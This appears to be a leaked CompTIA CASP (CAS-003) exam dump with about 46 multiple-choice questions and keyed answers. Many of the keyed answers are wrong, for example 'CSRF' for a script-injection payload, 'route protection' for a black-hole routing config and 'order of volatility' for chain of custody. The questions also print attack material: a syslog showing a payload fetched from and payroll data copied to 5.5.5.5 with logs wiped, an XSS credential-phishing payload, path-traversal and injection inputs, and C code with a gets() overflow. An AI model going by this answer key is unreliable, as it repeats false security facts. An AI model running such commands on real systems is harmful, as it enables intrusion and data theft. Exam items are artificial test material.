

**CAS-003.95q**

Number: CAS-003  
Passing Score: 800  
Time Limit: 120 min

**CAS-003**



**Website:** <https://vceplus.com>

**VCE to PDF Converter:** <https://vceplus.com/vce-to-pdf/>

**Facebook:** <https://www.facebook.com/VCE.For.All.VN/>

**Twitter :** [https://twitter.com/VCE\\_Plus](https://twitter.com/VCE_Plus)

<https://www.vceplus.com/>

**CompTIA Advanced Security Practitioner (CASP)**

**Exam A**

**QUESTION 1**

<https://www.vceplus.com/>

During a security assessment, an organization is advised of inadequate control over network segmentation. The assessor explains that the organization's reliance on VLANs to segment traffic is insufficient to provide segmentation based on regulatory standards. Which of the following should the organization consider implementing along with VLANs to provide a greater level of segmentation?

- A. Air gaps
- B. Access control lists
- C. Spanning tree protocol
- D. Network virtualization
- E. Elastic load balancing

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

## QUESTION 2

A security administrator was informed that a server unexpectedly rebooted. The administrator received an export of syslog entries for analysis:



```
May 4 08:08:00 Server A: on console user jsmith: exec 'ls -l
/data/finance/payroll/*.xls'
May 4 08:08:00 Server A: on console user jsmith: Access denied on
/data/finance/
May 4 08:08:07 Server A: on console user jsmith: exec 'whoami'
May 4 08:08:10 Server A: on console user jsmith: exec 'wget
5.5.5.5/modinject.o -O /tmp/downloads/modinject.o'
May 4 08:08:20 Server A: on console user jsmith: exec 'insmod
/tmp/downloads/modinject.o'
May 4 08:08:10 Server A: on console user root: exec 'whoami'
May 4 08:09:37 Server A: on console user root: exec 'ls -
l/data/finance/payroll/*.xls'
May 4 08:09:43 Server A: on console user root: exec 'gpg -e
/data/finance/payroll/gl-May2017.xls'
May 4 08:09:55 Server A: on console user root: exec 'scp
/data/finance/payroll/gl-May2017.gpg root@5.5.5.5:'
May 4 08:10:03 Server A: on console user root: exec 'rm -rf
/var/log/syslog'
May 4 08:10:05 Server A: on console user jsmith: exec 'rmmod
modinject.o'
May 4 08:10:05 Server A: kernel: PANIC 'unable to handle paging request
at 0x45A800c'
May 4 08:10:05 Server A: kernel: Automatic reboot initiated
May 4 08:10:06 Server A: kernel: Syncing disks
May 4 08:10:06 Server A: kernel: Reboot
May 4 08:12:25 Server A: kernel: System init
May 4 08:12:25 Server A: kernel: Configured from console by console
May 4 08:12:42 Server A: kernel: Logging initialized (build:5.8.0.2469)
May 4 08:13:34 Server A: kernel: System changed state to up
May 4 08:14:23 Server A: kernel: System startup succeeded
```



<https://www.vceplus.com/>

Which of the following does the log sample indicate? (Choose two.)

- A. A root user performed an injection attack via kernel module
- B. Encrypted payroll data was successfully decrypted by the attacker
- C. Jsmith successfully used a privilege escalation attack
- D. Payroll data was exfiltrated to an attacker-controlled host
- E. Buffer overflow in memory paging caused a kernel panic
- F. Syslog entries were lost due to the host being rebooted

**Correct Answer:** CE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 3

An organization has employed the services of an auditing firm to perform a gap assessment in preparation for an upcoming audit. As part of the gap assessment, the auditor supporting the assessment recommends the organization engage with other industry partners to share information about emerging attacks to organizations in the industry in which the organization functions. Which of the following types of information could be drawn from such participation?

- A. Threat modeling
- B. Risk assessment
- C. Vulnerability data
- D. Threat intelligence
- E. Risk metrics
- F. Exploit frameworks

<https://www.vceplus.com/>

**Correct Answer:** F

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 4**

A recent penetration test identified that a web server has a major vulnerability. The web server hosts a critical shipping application for the company and requires 99.99% availability. Attempts to fix the vulnerability would likely break the application. The shipping application is due to be replaced in the next three months. Which of the following would BEST secure the web server until the replacement web server is ready?

- A. Patch management
- B. Antivirus
- C. Application firewall
- D. Spam filters
- E. HIDS

**Correct Answer:** E

**Section:** (none)

**Explanation**

**Explanation/Reference:**



#### **QUESTION 5**

To prepare for an upcoming audit, the Chief Information Security Officer (CISO) asks for all 1200 vulnerabilities on production servers to be remediated. The security engineer must determine which vulnerabilities represent real threats that can be exploited so resources can be prioritized to migrate the most dangerous risks. The CISO wants the security engineer to act in the same manner as would an external threat, while using vulnerability scan results to prioritize any actions. Which of the following approaches is described?

- A. Blue team
- B. Red team
- C. Black box
- D. White team

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

Reference: <http://resources.infosecinstitute.com/the-types-of-penetration-testing/#gref>

**QUESTION 6**

An engineer is evaluating the control profile to assign to a system containing PII, financial, and proprietary data.

| Data Type   | Confidentiality | Integrity | Availability |
|-------------|-----------------|-----------|--------------|
| PII         | High            | Medium    | Low          |
| Proprietary | High            | High      | Medium       |
| Competitive | High            | Medium    | Medium       |
| Industrial  | Low             | Low       | High         |
| Financial   | Medium          | High      | Low          |

Based on the data classification table above, which of the following BEST describes the overall classification?

- A. High confidentiality, high availability
- B. High confidentiality, medium availability
- C. Low availability, low confidentiality
- D. High integrity, low availability

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 7**

A company has hired an external security consultant to conduct a thorough review of all aspects of corporate security. The company is particularly concerned about unauthorized access to its physical offices resulting in network compromises. Which of the following should the consultant recommend be performed to evaluate potential risks?

- A. The consultant should attempt to gain access to physical offices through social engineering and then attempt data exfiltration

<https://www.vceplus.com/>

- B. The consultant should be granted access to all physical access control systems to review logs and evaluate the likelihood of the threat
- C. The company should conduct internal audits of access logs and employee social media feeds to identify potential insider threats
- D. The company should install a temporary CCTV system to detect unauthorized access to physical offices

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 8

A server (10.0.0.2) on the corporate network is experiencing a DoS from a number of marketing desktops that have been compromised and are connected to a separate network segment. The security engineer implements the following configuration on the management router:

```
Router(config)# ip route 192.168.3.1 255.255.255.255 Null0
```

```
Router(config)# route-map DATA
```

```
Router(config-route-map)#match tag 101
```

```
Router(config-route-map)#set ip next-hop 192.168.3.1
```

```
Router(config-route-map)#set community no-export
```

```
Router(config-router)#redistribute static route-map DATA
```

```
Router(config)#ip route 10.0.0.2 255.255.255.255 Null0 tag 101
```

Which of the following is the engineer implementing?

- A. Remotely triggered black hole
- B. Route protection
- C. Port security
- D. Transport security
- E. Address space layout randomization

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

<https://www.vceplus.com/>



### QUESTION 9

An internal penetration tester was assessing a recruiting page for potential issues before it was pushed to the production website. The penetration tester discovers an issue that must be corrected before the page goes live. The web host administrator collects the log files below and gives them to the development team so improvements can be made to the security design of the website.

```
[00:00:09] "GET /cgi-bin/forum/commentary.pl/noframes/read/209 HTTP/1.1" 200 6863
"http://search.company.com/search/cgi/search.cgi?qs=download=&dom=s&offset=0&hits=10&switch=0&f=us"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0)"
[00:00:12] "GET /js/master.js HTTP/1.1" 200 2263
"http://www.company.com/cgi-bin/forum/commentary.pl/noframes/read/209"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0)"
[00:00:22] "GET /internet/index.html HTTP/1.1" 200 6792
"http://www.company.com/video/streaming/http.html"
"Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.6) Gecko/20040413
Debian/1.6-5"
[00:00:25] "GET /showFile.action?fileName=<script> alert("an error has
occurred, please send your username and password to me@example.com")
</script> 200
[00:00:27] "GET /contracts.html HTTP/1.0" 200 4595 "-" "FAST-
WebCrawler/2.1-pre2 (ashen@company.net)"
[00:00:29] "GET /news/news.html HTTP/1.0" 200 16716 "-" "FAST-
WebCrawler/2.1-pre2 (ashen@company.net)"
[00:00:29] "GET /download/windows/asctab31.zip HTTP/1.0" 200 1540096
"http://www.company.com/downloads/freeware/webdevelopment/15.html"
"Mozilla/4.7 [en]C-SYMPA (Win95; U)"
[00:00:30] "GET /pics/wpaper.gif HTTP/1.0" 200 6248
"http://www.comptia.com/asctortf/" "Mozilla/4.05 (Macintosh; I; PPC)"
```

Which of the following types of attack vector did the penetration tester use?

- A. SQLi
- B. CSRF
- C. Brute force
- D. XSS



E. TOC/TOU

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 10**

The Chief Information Security Officer (CISO) for an organization wants to develop custom IDS rulesets faster, prior to new rules being released by IDS vendors. Which of the following BEST meets this objective?

- A. Identify a third-party source for IDS rules and change the configuration on the applicable IDSs to pull in the new rulesets
- B. Encourage cybersecurity analysts to review open-source intelligence products and threat database to generate new IDS rules based on those sources
- C. Leverage the latest TCP- and UDP-related RFCs to arm sensors and IDSs with appropriate heuristics for anomaly detection
- D. Use annual hacking conventions to document the latest attacks and threats, and then develop IDS rules to counter those threats

**Correct Answer:** B

**Section:** (none)

**Explanation**



**Explanation/Reference:**

#### **QUESTION 11**

A user workstation was infected with a new malware variant as a result of a drive-by download. The security administrator reviews key controls on the infected workstation and discovers the following:

|                    |                    |
|--------------------|--------------------|
| Antivirus          | Enabled            |
| AV Engine          | Current            |
| AV Signatures      | Auto Update        |
| Update Status      | Success            |
| Heuristic Scanning | Enabled            |
| Scan Type          | On Access Scanning |
| Malware Engine     | Enabled            |
| Auto System Update | Enabled            |
| Last System Update | Yesterday 2 PM     |
| DLP Agent          | Disabled           |
| DLP DB Update      | Poll every 5 mins  |
| Proxy Settings     | Auto               |



Which of the following would BEST prevent the problem from reoccurring in the future? (Choose two.)

- A. Install HIPS
- B. Enable DLP
- C. Install EDR
- D. Install HIDS
- E. Enable application blacklisting
- F. Improve patch management processes

**Correct Answer:** BE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 12**

An engineer is assisting with the design of a new virtualized environment that will house critical company services and reduce the datacenter's physical footprint. The company has expressed concern about the integrity of operating systems and wants to ensure a vulnerability exploited in one datacenter segment would not lead to the compromise of all others. Which of the following design objectives should the engineer complete to BEST mitigate the company's concerns? (Choose two.)

- A. Deploy virtual desktop infrastructure with an OOB management network
- B. Employ the use of vTPM with boot attestation
- C. Leverage separate physical hardware for sensitive services and data
- D. Use a community CSP with independently managed security services
- E. Deploy to a private cloud with hosted hypervisors on each physical machine

**Correct Answer: AC**

**Section: (none)**

**Explanation**



**Explanation/Reference:**

#### **QUESTION 13**

After embracing a BYOD policy, a company is faced with new security challenges from unmanaged mobile devices and laptops. The company's IT department has seen a large number of the following incidents:

- Duplicate IP addresses
- Rogue network devices
- Infected systems probing the company's network

Which of the following should be implemented to remediate the above issues? (Choose two.)

- A. Port security
- B. Route protection
- C. NAC
- D. HIPS
- E. NIDS

**Correct Answer: BC**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 14**

Following a security assessment, the Chief Information Security Officer (CISO) is reviewing the results of the assessment and evaluating potential risk treatment strategies. As part of the CISO's evaluation, a judgment of potential impact based on the identified risk is performed. To prioritize response actions, the CISO uses past experience to take into account the exposure factor as well as the external accessibility of the weakness identified. Which of the following is the CISO performing?

- A. Documentation of lessons learned
- B. Quantitative risk assessment
- C. Qualitative assessment of risk
- D. Business impact scoring
- E. Threat modeling

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**



#### **QUESTION 15**

A Chief Information Officer (CIO) publicly announces the implementation of a new financial system. As part of a security assessment that includes a social engineering task, which of the following tasks should be conducted to demonstrate the BEST means to gain information to use for a report on social vulnerability details about the financial system?

- A. Call the CIO and ask for an interview, posing as a job seeker interested in an open position
- B. Compromise the email server to obtain a list of attendees who responded to the invitation who is on the IT staff
- C. Notify the CIO that, through observation at events, malicious actors can identify individuals to befriend
- D. Understand the CIO is a social drinker, and find the means to befriend the CIO at establishments the CIO frequents

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 16**

A recent assessment identified that several users' mobile devices are running outdated versions of endpoint security software that do not meet the company's security policy. Which of the following should be performed to ensure the users can access the network and meet the company's security requirements?

- A. Vulnerability assessment
- B. Risk assessment
- C. Patch management
- D. Device quarantine
- E. Incident management

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 17**

A security engineer has implemented an internal user access review tool so service teams can baseline user accounts and group memberships. The tool is functional and popular among its initial set of onboarded teams. However, the tool has not been built to cater to a broader set of internal teams yet. The engineer has sought feedback from internal stakeholders, and a list of summarized requirements is as follows:

- The tool needs to be responsive so service teams can query it, and then perform an automated response action.
- The tool needs to be resilient to outages so service teams can perform the user access review at any point in time and meet their own SLAs.
- The tool will become the system-of-record for approval, reapproval, and removal life cycles of group memberships and must allow for data retrieval after failure.

Which of the following need specific attention to meet the requirements listed above? (Choose three.)

- A. Scalability
- B. Latency
- C. Availability
- D. Usability
- E. Recoverability
- F. Maintainability

**Correct Answer:** BCE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 18**

The board of a financial services company has requested that the senior security analyst acts as a cybersecurity advisor in order to comply with recent federal legislation. The analyst is required to give a report on current cybersecurity and threat trends in the financial services industry at the next board meeting. Which of the following would be the BEST methods to prepare this report? (Choose two.)

- A. Review the CVE database for critical exploits over the past year
- B. Use social media to contact industry analysts
- C. Use intelligence gathered from the Internet relay chat channels
- D. Request information from security vendors and government agencies
- E. Perform a penetration test of the competitor's network and share the results with the board

**Correct Answer:** AD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 19**

The Chief Information Security Officer (CISO) has asked the security team to determine whether the organization is susceptible to a zero-day exploit utilized in the banking industry and whether attribution is possible. The CISO has asked what process would be utilized to gather the information, and then wants to apply signatureless controls to stop these kinds of attacks in the future. Which of the following are the MOST appropriate ordered steps to take to meet the CISO's request?



<https://www.vceplus.com/>

- A.
  1. Perform the ongoing research of the best practices
  2. Determine current vulnerabilities and threats
  3. Apply Big Data techniques
  4. Use antivirus control
- B.
  1. Apply artificial intelligence algorithms for detection
  2. Inform the CERT team

<https://www.vceplus.com/>

- 3. Research threat intelligence and potential adversaries
- 4. Utilize threat intelligence to apply Big Data techniques
- C.
  - 1. Obtain the latest IOCs from the open source repositories
  - 2. Perform a sweep across the network to identify positive matches
  - 3. Sandbox any suspicious files
  - 4. Notify the CERT team to apply a future proof threat model
- D.
  - 1. Analyze the current threat intelligence
  - 2. Utilize information sharing to obtain the latest industry IOCs
  - 3. Perform a sweep across the network to identify positive matches
  - 4. Apply machine learning algorithms

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 20

A software development team is conducting functional and user acceptance testing of internally developed web applications using a COTS solution. For automated testing, the solution uses valid user credentials from the enterprise directory to authenticate to each application. The solution stores the username in plain text and the corresponding password as an encoded string in a script within a file, located on a globally accessible network share. The account credentials used belong to the development team lead. To reduce the risks associated with this scenario while minimizing disruption to ongoing testing, which of the following are the BEST actions to take? (Choose two.)

- A. Restrict access to the network share by adding a group only for developers to the share's ACL
- B. Implement a new COTS solution that does not use hard-coded credentials and integrates with directory services
- C. Obfuscate the username within the script file with encoding to prevent easy identification and the account used
- D. Provision a new user account within the enterprise directory and enable its use for authentication to the target applications. Share the username and password with all developers for use in their individual scripts
- E. Redesign the web applications to accept single-use, local account credentials for authentication

**Correct Answer:** AB

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 21



A security consultant is attempting to discover if the company is utilizing databases on client machines to store the customer data. The consultant reviews the following information:

| Protocol | Local Address     | Foreign Address  | Status                 |
|----------|-------------------|------------------|------------------------|
| TCP      | 127.0.0.1         | 172.16.10.101:25 | Connection established |
| TCP      | 127.0.0.1         | 172.16.20.45:443 | Connection established |
| UDP      | 127.0.0.1         | 172.16.20.80:53  | Waiting listening      |
| TCP      | 172.16.10.10:1433 | 172.16.10.34     | Connection established |

Which of the following commands would have provided this output?

- A. arp -s
- B. netstat -a
- C. ifconfig -arp
- D. sqlmap -w



**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

## QUESTION 22

Management is reviewing the results of a recent risk assessment of the organization's policies and procedures. During the risk assessment it is determined that procedures associated with background checks have not been effectively implemented. In response to this risk, the organization elects to revise policies and procedures related to background checks and use a third-party to perform background checks on all new employees. Which of the following risk management strategies has the organization employed?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid E. Reject

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 23

A company wants to perform analysis of a tool that is suspected to contain a malicious payload. A forensic analyst is given the following snippet:

```
^32^[34fda19(fd^43gfd/home/user/lib/module.so.343jk^rfw(342fds43g
```

Which of the following did the analyst use to determine the location of the malicious payload?

- A. Code deduplicators
- B. Binary reverse-engineering
- C. Fuzz testing
- D. Security containers

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**



### QUESTION 24

An advanced threat emulation engineer is conducting testing against a client's network. The engineer conducts the testing in as realistic a manner as possible. Consequently, the engineer has been gradually ramping up the volume of attacks over a long period of time. Which of the following combinations of techniques would the engineer MOST likely use in this testing? (Choose three.)

- A. Black box testing
- B. Gray box testing
- C. Code review
- D. Social engineering
- E. Vulnerability assessment
- F. Pivoting
- G. Self-assessmentH. White teaming
- I. External auditing

**Correct Answer:** AEF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 25

A security engineer must establish a method to assess compliance with company security policies as they apply to the unique configuration of individual endpoints, as well as to the shared configuration policies of common devices.

| Policy                                | Device Type | % of Devices Compliant |
|---------------------------------------|-------------|------------------------|
| Local Administration Accounts Renamed | Server      | 65%                    |
| Guest Account Disabled                | Host        | 30%                    |
| Local Firewall Enabled                | Host        | 80%                    |
| Password Complexity Enabled           | Server      | 46%                    |

Which of the following tools is the security engineer using to produce the above output?

- A. Vulnerability scanner
- B. SIEM
- C. Port scanner
- D. SCAP scanner

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 26

A newly hired systems administrator is trying to connect a new and fully updated, but very customized, Android device to access corporate resources. However, the MDM enrollment process continually fails. The administrator asks a security team member to look into the issue. Which of the following is the MOST likely reason the MDM is not allowing enrollment?

- A. The OS version is not compatible
- B. The OEM is prohibited
- C. The device does not support FDE
- D. The device is rooted

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 27

A hospital uses a legacy electronic medical record system that requires multicast for traffic between the application servers and databases on virtual hosts that support segments of the application. Following a switch upgrade, the electronic medical record is unavailable despite physical connectivity between the hypervisor and the storage being in place. The network team must enable multicast traffic to restore access to the electronic medical record. The ISM states that the network team must reduce the footprint of multicast traffic on the network.

| VLAN | Description                |
|------|----------------------------|
| 201  | Server VLAN1               |
| 202  | Server VLAN2               |
| 400  | Hypervisor Management VLAN |
| 680  | Storage Management VLAN    |
| 700  | Database Server VLAN       |



Using the above information, on which VLANs should multicast be enabled?

- A. VLAN201, VLAN202, VLAN400
- B. VLAN201, VLAN202, VLAN700
- C. VLAN201, VLAN202, VLAN400, VLAN680, VLAN700
- D. VLAN400, VLAN680, VLAN700

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 28**

A security administrator wants to allow external organizations to cryptographically validate the company's domain name in email messages sent by employees. Which of the following should the security administrator implement?

- A. SPF
- B. S/MIME
- C. TLS
- D. DKIM

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Reference: <https://en.wikipedia.org/wiki/DMARC>



**QUESTION 29**

An organization is preparing to develop a business continuity plan. The organization is required to meet regulatory requirements relating to confidentiality and availability, which are well-defined. Management has expressed concern following initial meetings that the organization is not fully aware of the requirements associated with the regulations. Which of the following would be MOST appropriate for the project manager to solicit additional resources for during this phase of the project?

- A. After-action reports
- B. Gap assessment
- C. Security requirements traceability matrix
- D. Business impact assessment
- E. Risk analysis

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

<https://www.vceplus.com/>

**QUESTION 30**

An engineer maintains a corporate-owned mobility infrastructure, and the organization requires that all web browsing using corporate-owned resources be monitored. Which of the following would allow the organization to meet its requirement? (Choose two.)

- A. Exempt mobile devices from the requirement, as this will lead to privacy violations
- B. Configure the devices to use an always-on IPsec VPN
- C. Configure all management traffic to be tunneled into the enterprise via TLS
- D. Implement a VDI solution and deploy supporting client apps to devices
- E. Restrict application permissions to establish only HTTPS connections outside of the enterprise boundary

**Correct Answer:** BE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 31**

After multiple service interruptions caused by an older datacenter design, a company decided to migrate away from its datacenter. The company has successfully completed the migration of all datacenter servers and services to a cloud provider. The migration project includes the following phases: ▪ Selection of a cloud provider

- Architectural design
- Microservice segmentation
- Virtual private cloud
- Geographic service redundancy
- Service migration

The Chief Information Security Officer (CISO) is still concerned with the availability requirements of critical company applications. Which of the following should the company implement NEXT?

- A. Multicloud solution
- B. Single-tenancy private cloud
- C. Hybrid cloud solution
- D. Cloud access security broker

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 32**

A security controls assessor intends to perform a holistic configuration compliance test of networked assets. The assessor has been handed a package of definitions provided in XML format, and many of the files have two common tags within them: "<object object\_ref=... />" and "<state state\_ref=... />". Which of the following tools BEST supports the use of these definitions?

- A. HTTP interceptor
- B. Static code analyzer
- C. SCAP scanner
- D. XML fuzzer

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 33**

Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?

- A. Key risk indicators
- B. Lessons learned
- C. Recovery point objectives
- D. Tabletop exercise

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 34**

A web developer has implemented HTML5 optimizations into a legacy web application. One of the modifications the web developer made was the following client side optimization:

```
localStorage.setItem("session-cookie", document.cookie);
```

Which of the following should the security engineer recommend?

<https://www.vceplus.com/>



- A. SessionStorage should be used so authorized cookies expire after the session ends
- B. Cookies should be marked as “secure” and “HttpOnly”
- C. Cookies should be scoped to a relevant domain/path
- D. Client-side cookies should be replaced by server-side mechanisms

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 35

A hospital's security team recently determined its network was breached and patient data was accessed by an external entity. The Chief Information Security Officer

(CISO) of the hospital approaches the executive management team with this information, reports the vulnerability that led to the breach has already been remediated, and explains the team is continuing to follow the appropriate incident response plan. The executive team is concerned about the hospital's brand reputation and asks the CISO when the incident should be disclosed to the affected patients. Which of the following is the MOST appropriate response?

- A. When it is mandated by their legal and regulatory requirements
- B. As soon as possible in the interest of the patients
- C. As soon as the public relations department is ready to be interviewed
- D. When all steps related to the incident response plan are completed
- E. Upon the approval of the Chief Executive Officer (CEO) to release information to the public

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 36

A deployment manager is working with a software development group to assess the security of a new version of the organization's internally developed ERP tool. The organization prefers to not perform assessment activities following deployment, instead focusing on assessing security throughout the life cycle. Which of the following methods would BEST assess the security of the product?

- A. Static code analysis in the IDE environment
- B. Penetration testing of the UAT environment
- C. Vulnerability scanning of the production environment

- D. Penetration testing of the production environment
- E. Peer review prior to unit testing

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 37

During a security event investigation, a junior analyst fails to create an image of a server's hard drive before removing the drive and sending it to the forensics analyst. Later, the evidence from the analysis is not usable in the prosecution of the attackers due to the uncertainty of tampering. Which of the following should the junior analyst have followed?

- A. Continuity of operations
- B. Chain of custody
- C. Order of volatility
- D. Data recovery

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

Reference: <https://www.computer-forensics-recruiter.com/order-of-volatility/>

### QUESTION 38

A team is at the beginning stages of designing a new enterprise-wide application. The new application will have a large database and require a capital investment in hardware. The Chief Information Officer (CIO) has directed the team to save money and reduce the reliance on the datacenter, and the vendor must specialize in hosting large databases in the cloud. Which of the following cloud-hosting options would BEST meet these needs?

- A. Multi-tenancy SaaS
- B. Hybrid IaaS
- C. Single-tenancy PaaS
- D. Community IaaS

**Correct Answer:** C

**Section:** (none)

**Explanation**

<https://www.vceplus.com/>

**Explanation/Reference:****QUESTION 39**

A company wants to extend its help desk availability beyond business hours. The Chief Information Officer (CIO) decides to augment the help desk with a thirdparty service that will answer calls and provide Tier 1 problem resolution, such as password resets and remote assistance. The security administrator implements the following firewall change:

```
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 80
```

```
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 636
```

```
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 5800
```

```
PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 1433
```

The administrator provides the appropriate path and credentials to the third-party company. Which of the following technologies is MOST likely being used to provide access to the third company?

- A. LDAP
- B. WAYF
- C. OpenID D. RADIUS
- E. SAML



**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:****QUESTION 40**

An architect was recently hired by a power utility to increase the security posture of the company's power generation and distribution sites. Upon review, the architect identifies legacy hardware with highly vulnerable and unsupported software driving critical operations. These systems must exchange data with each other, be highly synchronized, and pull from the Internet time sources. Which of the following architectural decisions would BEST reduce the likelihood of a successful attack without harming operational capability? (Choose two.)

- A. Isolate the systems on their own network
- B. Install a firewall and IDS between systems and the LAN
- C. Employ own stratum-0 and stratum-1 NTP servers

<https://www.vceplus.com/>

- D. Upgrade the software on critical systems
- E. Configure the systems to use government-hosted NTP servers

**Correct Answer:** BE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 41

A business is growing and starting to branch out into other locations. In anticipation of opening an office in a different country, the Chief Information Security Officer (CISO) and legal team agree they need to meet the following criteria regarding data to open the new office:

- Store taxation-related documents for five years
- Store customer addresses in an encrypted format
- Destroy customer information after one year
- Keep data only in the customer's home country

Which of the following should the CISO implement to BEST meet these requirements? (Choose three.)

- A. Capacity planning policy
- B. Data retention policy
- C. Data classification standard
- D. Legal compliance policy
- E. Data sovereignty policy
- F. Backup policy
- G. Acceptable use policy
- H. Encryption standard

**Correct Answer:** BCH

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 42

A company contracts a security engineer to perform a penetration test of its client-facing web portal. Which of the following activities would be MOST appropriate?

- A. Use a protocol analyzer against the site to see if data input can be replayed from the browser
- B. Scan the website through an interception proxy and identify areas for the code injection

<https://www.vceplus.com/>

- C. Scan the site with a port scanner to identify vulnerable services running on the web server
- D. Use network enumeration tools to identify if the server is running behind a load balancer

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 43

A large enterprise with thousands of users is experiencing a relatively high frequency of malicious activity from the insider threats. Much of the activity appears to involve internal reconnaissance that results in targeted attacks against privileged users and network file shares. Given this scenario, which of the following would MOST likely prevent or deter these attacks? (Choose two.)

- A. Conduct role-based training for privileged users that highlights common threats against them and covers best practices to thwart attacks
- B. Increase the frequency at which host operating systems are scanned for vulnerabilities, and decrease the amount of time permitted between vulnerability identification and the application of corresponding patches
- C. Enforce command shell restrictions via group policies for all workstations by default to limit which native operating system tools are available for use
- D. Modify the existing rules of behavior to include an explicit statement prohibiting users from enumerating user and file directories using available tools and/or accessing visible resources that do not directly pertain to their job functions
- E. For all workstations, implement full-disk encryption and configure UEFI instances to require complex passwords for authentication
- F. Implement application blacklisting enforced by the operating systems of all machines in the enterprise

**Correct Answer:** CD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 44

Given the code snippet below:

```
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char username[8];

    printf("Enter your username: ");

    gets(username)

    printf("\n");

    if (username == NULL) {
        printf("you did not enter a username\n");
    }

    if strcmp(username, "admin") {
        printf("%s", "Admin user, enter your physical token value: ");
        // rest of conditional logic here has been snipped for brevity
    } else {
        printf("Standard user, enter your password: ");
        // rest of conditional logic here has been snipped for brevity
    }
}
```

Which of the following vulnerability types is the MOST concerning?

A. Only short usernames are supported, which could result in brute forcing of credentials.

<https://www.vceplus.com/>

- B. Buffer overflow in the username parameter could lead to a memory corruption vulnerability.
- C. Hardcoded usernames with different code paths taken depend on which user is entered.
- D. Format string vulnerability is present for admin users but not for standard users.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 45**

To meet a SLA, which of the following document should be drafted, defining the company's internal interdependent unit responsibilities and delivery timelines.

- A. BPA
- B. OLA
- C. MSA
- D. MOU

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

Explanation:

OLA is an agreement between the internal support groups of an institution that supports SLA. According to the Operational Level Agreement, each internal support group has certain responsibilities to the other group. The OLA clearly depicts the performance and relationship of the internal service groups. The main objective of OLA is to ensure that all the support groups provide the intended ServiceLevelAgreement.

#### **QUESTION 46**

A security analyst sees some suspicious entries in a log file from a web server website, which has a form that allows customers to leave feedback on the company's products. The analyst believes a malicious actor is scanning the web form. To know which security controls to put in place, the analyst first needs to determine the type of activity occurring to design a control. Given the log below:



| Timestamp          | SourceIP     | CustName | PreferredContact | ProdName | Comments            |
|--------------------|--------------|----------|------------------|----------|---------------------|
| Monday<br>10:00:04 | 10.14.34.55  | aaaaa    | Phone            | Widget1  | None left           |
| Monday<br>10:00:04 | 10.14.34.55  | bbbbb    | Phone            | Widget1  | None left           |
| Monday<br>10:00:05 | 10.14.34.55  | cccc     | Phone            | Widget1  | ../etc/passwd       |
| Monday<br>10:01:03 | 10.14.34.55  | dddd     | Phone            | Widget1  | None left           |
| Monday<br>10:01:04 | 10.14.34.55  | eeee     | Phone            | Widget1  | None left           |
| Monday<br>10:01:05 | 10.14.34.55  | ffff     | Phone            | Widget1  | 1=1                 |
